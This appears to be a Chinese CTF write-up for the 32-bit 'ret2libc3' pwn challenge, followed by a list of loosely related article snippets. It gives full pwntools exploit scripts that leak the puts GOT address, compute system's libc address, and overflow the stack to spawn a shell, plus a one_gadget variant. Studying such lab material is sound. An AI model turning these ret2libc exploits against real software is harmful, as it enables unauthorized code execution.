ret2libc3

article/2025/10/14 11:17:50

文章目录

  • ret2libc3
    • 1.程序分析
    • 2.栈帧设计
    • 3.exp编写

ret2libc3

当前的ret2libc3:无system,无”\bin\sh“

1.程序分析

首先file一下,发现是32位程序:

checksec一下,发现没有开启pie

ida分析程序:

发现有个See_something()函数可以用来泄露具体给定地址内的信息:

main函数内还有个Print_message(),可以用来栈溢出:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SKJoX7KX-1628251421729)(https://i.loli.net/2021/07/08/w6RqoE4YJunK8F2.png)]

同时,分析程序没有发现system()函数,但是存在puts()函数。

使用string检测字符串,发现"sh"字符串:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-soj1Cm7a-1628251421731)(https://i.loli.net/2021/07/08/dbyWfwPK8QHcEYk.png)]

同时,本题给定一个.so文件。

因此得到思路:可以借助puts()函数在got表和libc内的位置,得到偏移量,那么只需要得到system()函数在libc内的位置,加上偏移量就能够得到system()在程序加载后的真实位置。

2.栈帧设计

如果已经知道system()函数的位置,栈帧设计如下:

3.exp编写

按照上述思路,得到exp如下:

from pwn import *io = process("/mnt/d/study/ctf/pwn/ret2libc3/ret2libc3")
elf = ELF("/mnt/d/study/ctf/pwn/ret2libc3/ret2libc3")
libc = ELF("/mnt/d/study/ctf/pwn/ret2libc3/libc.so.6")io.recv()
io.sendline(str(elf.got["puts"]))
io.recvuntil(b" : ")
puts_real = int(io.recvuntil(b"\n", drop = True), 16)
system_real = puts_real - libc.symbols["puts"] + libc.symbols["system"]
sh = next(elf.search(b"sh\x00"))
payload = cyclic(60) + p32(system_real) + cyclic(4) + p32(sh)
io.sendline(payload)
io.interactive()

也可以使用one_gadget尝试,但是本题都没有成功:

from pwn import *io = process("/mnt/d/study/ctf/pwn/ret2libc3/ret2libc3")
elf = ELF("/mnt/d/study/ctf/pwn/ret2libc3/ret2libc3")
libc = ELF("/mnt/d/study/ctf/pwn/ret2libc3/libc.so.6")io.recv()
io.sendline(str(elf.got["puts"]))
io.recvuntil(b" : ")
puts_real = int(io.recvuntil(b"\n", drop = True), 16)
one_gadget = puts_real - libc.symbols["puts"] + 0x1487fc
payload = cyclic(60) + p32(one_gadget)
io.sendline(payload)
io.interactive()

http://chatgpt.dhexx.cn/article/aFF2Vy7V.shtml

相关文章

PWN题型之Ret2Libc

文章目录 前言0x1 :使用前提条件0x2 :解题思路0x3 :32位程序libc题型模板0x4 :代码的解析0x5 :64位程序实例 前言 菜鸡总结,如有不对,请不吝赐教。 0x1 :使用前提条件 存在溢出条件…

【PWN · ret2libc】[2021 鹤城杯]babyof

Linux_64的经典ret2libc题目,有必要好好整理总结一下其中的流程和注意点 目录 前言 一、题目重述 二、exp(思考与理解在注释) 三、经验总结 攻击步骤: 注意要点 四、疑问 前言 64位Linux和32位Linux确乎有着关于参数传递上的不同&a…

运行不同版本libc

author: Tamako 先上两个美化的链接,不用zsh的 字体 样式,颜色 成品 切换libc 我的工具机是Ubuntu 18.04。 获取libc版本 这个很容易,通过运行libc就可以直接获取,比如buu的Ubuntu16.04 32位机使用的libc 当然有些libc运行…

ret2libc实战

title: ret2libc实战 date: 2021-05-13 22:00:00 tags: binary securitystudy reportret2libc comments: true categories:ctfpwn ret2libc是一个pwner必备的基础知识。 ret2libc为return to libc的缩写,我们需要执行libc函数里面的system("/bin/sh") …

WSL vhdx非root误删除libc.so.6

思路 由于不在root这种情况的特殊性,没有办法使用网上例如LDPRELOAD进行软连接。则使用linux挂载ext4格式的vhdx然后重新进行软链接 挂载vhdx wsl ubuntu 20.04的虚拟磁盘在windows下的这个目录,不同的发行版在package目录下的地址不一样 在Package目…

ret2libc

一、原理 payload padding1 address of system() padding2 address of “/bin/sh” Padding1 随意填充, 长度刚好覆盖基地址 长度与shellcode处的一样的方法 address of system() 是system在内存中的地址,用来覆盖返回地址 system()函数地址在哪里? 从动态库中获取,计…

libc

1. libc (1). libc是Standard C library的简称,它是符合ANSI C标准的一个函数库。 libc库提供C语言中所使用的宏,类型定义,字符串操作函数,数学计算函数以及输入输出函数等。 正如ANSI C是C语言的标准一样,lib…

为什么要避免使用 libc

【CSDN 编者按】libc 是 Linux 下的标准 C 库&#xff0c;也是初学者写 hello world 包时含有的头文件 #include < stdio.h> 定义的地方&#xff0c;后来其逐渐被 glibc 给取代&#xff0c;本文作者列出了为什么要避免使用 libc 的 20 个理由。 作者 |Chris Wellons 译者…

统计学⑤——假设验证

统计学系列目录&#xff08;文末有大奖赠送&#xff09;&#xff1a; 统计学①——概率论基础及业务实战 统计学②——概率分布&#xff08;几何&#xff0c;二项&#xff0c;泊松&#xff0c;正态分布&#xff09; 统计学③——总体与样本 统计学④——置信区间 一、什么是假…

统计基础(四)假设检验

Hypothesis Testing 1.中心极限定理Central Limit Theorem1.1 X ˉ \bar{X} Xˉ的抽样分布1.2 p ^ \hat{p} p^​的抽样分布1.3 二项的正态逼近 2.假设检验概念2.1 零假设与备则假设2.2 如何制定决策规则 3.假设性检验步骤3.1假设检验框架3.2术语定义3.3 proportion test步骤3…

连续性概率

提示&#xff1a;写完文章后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 欧拉常数连续型随机变数与概率密度函数正态分布标准正态分步检验t检验t假设 在我们将离散型数据的数值放大到无限&#xff0c;也就是讨论所谓的极限时&#xff0c; …

概率统计:离散分布和连续分布

1. 几种分布分类 (1) 离散分布&#xff1a;  伯努利分布&#xff08;零一分布&#xff0c;两点分布&#xff09;&#xff0c;二项分布&#xff0c;几何分布&#xff0c;泊松分布&#xff08;Poisson分布&#xff09; (2) 连续分布&#xff1a;  指数分布&#xff0c;正态分…

【概率论】随机试验、随机变量、离散型/连续型随机变量

1. 随机试验 满足以下3个条件的试验可以称为随机试验&#xff1a; 相同条件下可重复试验结果明确可知且不只一个试验前不知道哪个结果会发生 例如&#xff1a;我们平时做的抛硬币、掷骰子试验都是随机试验。以抛硬币试验为例&#xff1a;①该试验可以重复进行多次&#xff1…

连续型随机变量

连续型随机变量&#xff1a;continuous random variables 即在一定区间内变量取值有无限个&#xff0c;或数值无法一一列举出来 如下面的例子 概率密度函数&#xff08;probability density function, pdf&#xff09;: 在数学理论中&#xff0c;一个连续型随机变量的概率密度…

概率论基础 —— 3.离散型、连续型概率模型,及其概率密度与概率分布函数

在前面的文章里&#xff0c;已经带大伙了解了概率论的概率事件类型&#xff0c;以及针对某些事件的发生概率&#xff0c;以及针对全部场景的某事件的发生概率等基本知识。不过对于统计学专业来说&#xff0c;或者实际应用来说&#xff0c;接触最多的还是离散型和连续型概率&…

概率论的离散型随机变量和连续型随机变量

借鉴大佬的 下面附上网址 https://blog.csdn.net/ckk727/article/details/103435150 随机变量 随机变量是指变量的值无法预先确定仅以一定的可能性(概率)取值的量。 它是由于随机而获得的非确定值&#xff0c;是概率中的一个基本概念。 在经济活动中&#xff0c;随机变量是某…

计量经济学 联合假设检验 F统计量

考虑这样一个问题&#xff0c;现在你拥有1个被解释变量y和4个解释变量&#xff0c;如何判断x3,x4这2个变量是没有必要的&#xff1f; 或者换个说法&#xff0c;你现在有x1&#xff0c;x2这2个解释变量&#xff0c;突然你在寻找数据时&#xff0c;发现了另外2个变量x3&#xff0…

概率的性质——连续性

概率的连续性如下定义&#xff1a; 我们可以用韦恩图把他们表示出来&#xff0c;便于理解&#xff1a; 图1 对应性质&#xff08;1&#xff09; 图2 对应性质&#xff08;2&#xff09; 从图1中我们可以看出&#xff0c;集合单调不增&#xff0c;打个比方&#xff0c;此集合…

连续and离散系统的描述

系统的描述 系统的分类系统的框图表示系统的特性和分析方法时域离散系统 把最好的分享给大家&#xff0c;大家一起努力&#xff01; 系统的分类 连续系统与离散系统&#xff1a;输入和输出均为连续时间信号的系统称为连续时间系统&#xff1b;输入和输出均为离散时间信号的系统…

统计学:离散型和连续型随机变量的概率分布

主要随机变量一览表 随机变量概率分布均值方差一般离散型变量 p(x)的表、公式或者图 ∑xxp(x) ∑x(x−μ)2p(x) 二项分布 p(x)Cxnpxqn−x (x0,1,2,3⋅⋅⋅,n) np npq 泊松分布 p(x)λxe−λx! (x0,1,2,⋅⋅⋅) λ λ 超几何分布 p(x)CxrCn−xN−rCnN nrN r(N−r)n(N−n)N2(N−…